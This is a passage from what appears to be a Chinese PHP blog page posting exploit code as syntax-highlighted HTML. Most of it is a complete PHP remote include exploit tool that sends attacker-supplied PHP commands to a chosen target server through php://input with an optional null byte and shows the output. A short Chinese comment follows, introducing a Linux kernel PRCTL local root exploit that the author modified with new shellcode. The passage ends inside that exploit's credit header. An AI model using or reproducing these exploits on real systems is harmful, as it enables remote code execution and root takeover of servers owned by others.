src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #800080">$iszero</span><span style="COLOR: #000000">=</span><span style="COLOR: #0000ff">isset</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$_POST</span><span style="COLOR: #000000">[</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">iszero</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">])</span><span style="COLOR: #000000">?</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">checked</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">:</span><span style="COLOR: #000000">""</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #800080">$cmd</span><span style="COLOR: #000000">=</span><span style="COLOR: #0000ff">isset</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$_POST</span><span style="COLOR: #000000">[</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">cmd</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">])</span><span style="COLOR: #000000">?</span><span style="COLOR: #800080">$_POST</span><span style="COLOR: #000000">[</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">cmd</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">:</span><span style="COLOR: #000000">""</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">?&gt;</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&lt;</span><span style="COLOR: #000000">style</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>body&nbsp;{font</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">family&nbsp;</span><span style="COLOR: #000000">:</span><span style="COLOR: #000000">&nbsp;sans</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">serif;background</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">color</span><span style="COLOR: #000000">:</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008000">#</span><span style="COLOR: #008000">ffffff;&nbsp;color:&nbsp;#000000;}</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">b&nbsp;{font</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">family&nbsp;</span><span style="COLOR: #000000">:</span><span style="COLOR: #000000">&nbsp;Courier&nbsp;</span><span style="COLOR: #0000ff">New</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;sans</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">serif;font</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">size&nbsp;</span><span style="COLOR: #000000">:</span><span style="COLOR: #000000">&nbsp;24px;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">center&nbsp;{text</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">align</span><span style="COLOR: #000000">:</span><span style="COLOR: #000000">&nbsp;center;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>input&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;font</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">family</span><span style="COLOR: #000000">:</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Verdana</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;font</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">size</span><span style="COLOR: #000000">:</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">10px</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;BACKGROUND</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">COLOR</span><span style="COLOR: #000000">:</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">#FFFFFF</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;height</span><span style="COLOR: #000000">:</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">18px</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;border</span><span style="COLOR: #000000">:</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">2px&nbsp;solid&nbsp;#666666</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&lt;/</span><span style="COLOR: #000000">style</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&lt;</span><span style="COLOR: #000000">center</span><span style="COLOR: #000000">&gt;&lt;</span><span style="COLOR: #000000">b</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000">PHP&nbsp;</span><span style="COLOR: #0000ff">include</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008080">file</span><span style="COLOR: #000000">&nbsp;exploit</span><span style="COLOR: #000000">&lt;/</span><span style="COLOR: #000000">b</span><span style="COLOR: #000000">&gt;&lt;</span><span style="COLOR: #000000">br</span><span style="COLOR: #000000">&gt;&lt;</span><span style="COLOR: #000000">font&nbsp;size</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">2px</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000">Notice</span><span style="COLOR: #000000">:</span><span style="COLOR: #000000">&nbsp;this&nbsp;exploit&nbsp;cannot&nbsp;be&nbsp;used&nbsp;</span><span style="COLOR: #0000ff">while</span><span style="COLOR: #000000">&nbsp;target&nbsp;is&nbsp;below&nbsp;PHP&nbsp;</span><span style="COLOR: #000000">4.3</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">&lt;/</span><span style="COLOR: #000000">font</span><span style="COLOR: #000000">&gt;&lt;/</span><span style="COLOR: #000000">center</span><span style="COLOR: #000000">&gt;&lt;</span><span style="COLOR: #000000">br</span><span style="COLOR: #000000">&gt;&lt;</span><span style="COLOR: #000000">br</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&lt;</span><span style="COLOR: #000000">form&nbsp;action</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">""</span><span style="COLOR: #000000">&nbsp;method</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">post</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>target&nbsp;server&nbsp;</span><span style="COLOR: #000000">:</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">&lt;</span><span style="COLOR: #000000">br</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&lt;</span><span style="COLOR: #000000">input&nbsp;type</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">text</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;name</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">server</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;value</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&lt;?=$server?&gt;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&gt;&lt;</span><span style="COLOR: #000000">br</span><span style="COLOR: #000000">&gt;&lt;</span><span style="COLOR: #000000">br</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>target&nbsp;</span><span style="COLOR: #008080">file</span><span style="COLOR: #000000">&nbsp;(including&nbsp;URI&nbsp;parameter&nbsp;used&nbsp;in&nbsp;</span><span style="COLOR: #0000ff">include</span><span style="COLOR: #000000">()&nbsp;call&nbsp;ex</span><span style="COLOR: #000000">:</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">index.php?includeParam=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">)&nbsp;</span><span style="COLOR: #000000">:&lt;</span><span style="COLOR: #000000">br</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&lt;</span><span style="COLOR: #000000">input&nbsp;type</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">text</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;name</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">file</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;value</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&lt;?=$file?&gt;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&gt;&lt;</span><span style="COLOR: #000000">br</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>add&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">%00</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">:</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">&lt;</span><span style="COLOR: #000000">input&nbsp;type</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">checkbox</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">&lt;?=</span><span style="COLOR: #800080">$iszero</span><span style="COLOR: #000000">?&gt;</span><span style="COLOR: #000000">&nbsp;name</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">iszero</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&gt;&lt;</span><span style="COLOR: #000000">br</span><span style="COLOR: #000000">&gt;&lt;</span><span style="COLOR: #000000">br</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008080">exec</span><span style="COLOR: #000000">&nbsp;(enclose&nbsp;php&nbsp;commands&nbsp;between&nbsp;</span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000">lt;</span><span style="COLOR: #000000">?</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">..</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">?&amp;</span><span style="COLOR: #000000">gt;&nbsp;tags)</span><span style="COLOR: #000000">:&lt;</span><span style="COLOR: #000000">br</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000">&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&lt;</span><span style="COLOR: #000000">input&nbsp;type</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">text</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;name</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">cmd</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;value</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&lt;?=&nbsp;htmlspecialchars($cmd);?&gt;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">&gt;&lt;</span><span style="COLOR: #000000">br</span><span style="COLOR: #000000">&gt;&lt;</span><span style="COLOR: #000000">br</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&lt;</span><span style="COLOR: #000000">INPUT&nbsp;type</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">submit</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;value</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">send</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&lt;/</span><span style="COLOR: #000000">form</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&lt;?</span><span style="COLOR: #000000">php<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">(</span><span style="COLOR: #0000ff">isset</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$_POST</span><span style="COLOR: #000000">[</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">cmd</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">]))<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #800080">$zerochar</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800080">$iszero</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">checked</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">?</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">%00</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">:</span><span style="COLOR: #000000">""</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #800080">$message</span><span style="COLOR: #000000">&nbsp;&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">POST&nbsp;/</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">.</span><span style="COLOR: #800080">$file</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">php://input</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">.</span><span style="COLOR: #800080">$zerochar</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;HTTP/1.1\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #800080">$message</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">.=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Accept:&nbsp;image/gif,&nbsp;image/x-xbitmap,&nbsp;image/jpeg,&nbsp;image/pjpeg,&nbsp;application/x-shockwave-flash,&nbsp;*/*\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #800080">$message</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">.=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Accept-Language:&nbsp;fr\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #800080">$message</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">.=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Content-Type:&nbsp;application/x-www-form-urlencoded\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #800080">$message</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">.=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Accept-Encoding:&nbsp;deflate\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #800080">$message</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">.=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">User-Agent:&nbsp;Mozilla/4.0&nbsp;(compatible;&nbsp;MSIE&nbsp;6.0;&nbsp;Windows&nbsp;NT&nbsp;5.1;&nbsp;MyIE2)\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #800080">$message</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">.=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Host:&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">.</span><span style="COLOR: #800080">$server</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #800080">$message</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">.=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Content-length:&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">.</span><span style="COLOR: #008080">strlen</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$cmd</span><span style="COLOR: #000000">)</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #800080">$message</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">.=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Connection:&nbsp;Keep-Alive\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #800080">$message</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">.=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Cache-Control:&nbsp;no-cache\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #800080">$message</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">.=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #800080">$message</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">.=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800080">$cmd</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #800080">$fd</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008080">fsockopen</span><span style="COLOR: #000000">(&nbsp;</span><span style="COLOR: #800080">$server</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">80</span><span style="COLOR: #000000">&nbsp;);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008080">fputs</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$fd</span><span style="COLOR: #000000">,</span><span style="COLOR: #800080">$message</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #800080">$resp</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&lt;pre&gt;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">while</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">!</span><span style="COLOR: #008080">feof</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$fd</span><span style="COLOR: #000000">))&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #800080">$resp</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">.=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008080">fread</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$fd</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">1024</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008080">fclose</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$fd</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #800080">$resp</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">.=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&lt;/pre&gt;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">echo</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800080">$resp</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">?&gt;</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span></div>
<br><br>这个是当时linux kernel PRCTL loacl poc,刚出来的时候我换了个shellcode,后来这个exp出了4个版本,各个都比我的好:)<br>
<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #008000">/*</span><span style="COLOR: #008000">******************************************************</span><span style="COLOR: #008000">*/</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">/*</span><span style="COLOR: #008000">&nbsp;Local&nbsp;r00t&nbsp;Exploit&nbsp;for:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">*/</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">/*</span><span style="COLOR: #008000">&nbsp;Linux&nbsp;Kernel&nbsp;PRCTL&nbsp;Core&nbsp;Dump&nbsp;Handling&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">*/</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">/*</span><span style="COLOR: #008000">&nbsp;Modified&nbsp;by&nbsp;wofeiwo&nbsp;[13.Jul.2006]&nbsp;(chage&nbsp;shellcode)&nbsp;&nbsp;</span><span style="COLOR: #008000">*/</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">/*</span><span style="COLOR: #008000">------------------------------------------------------</span><span style="COLOR: #008000">*/</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">/*</span><span style="COLOR: #008000">&nbsp;Based&nbsp;on:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">*/</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">/*</span><span style="COLOR: #008000">------------------------------------------------------</span><span style="COLOR: #008000">*/</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">/*</span><span style="COLOR: #008000">&nbsp;By:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">*/</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">/*</span><span style="COLOR: #008000">&nbsp;-&nbsp;dreyer&nbsp;&nbsp;&nbsp;&nbsp;&lt;luna@aditel.org&gt;&nbsp;&nbsp;&nbsp;(main&nbsp;PoC&nbsp;code)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">*/</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">/*</span><span style="COLOR: #008000">&nbsp;-&nbsp;RoMaNSoFt&nbsp;&lt;roman@rs-labs.com&gt;&nbsp;(local&nbsp;root&nbsp;code)&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">*/</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">/*</span><span style="COLOR: 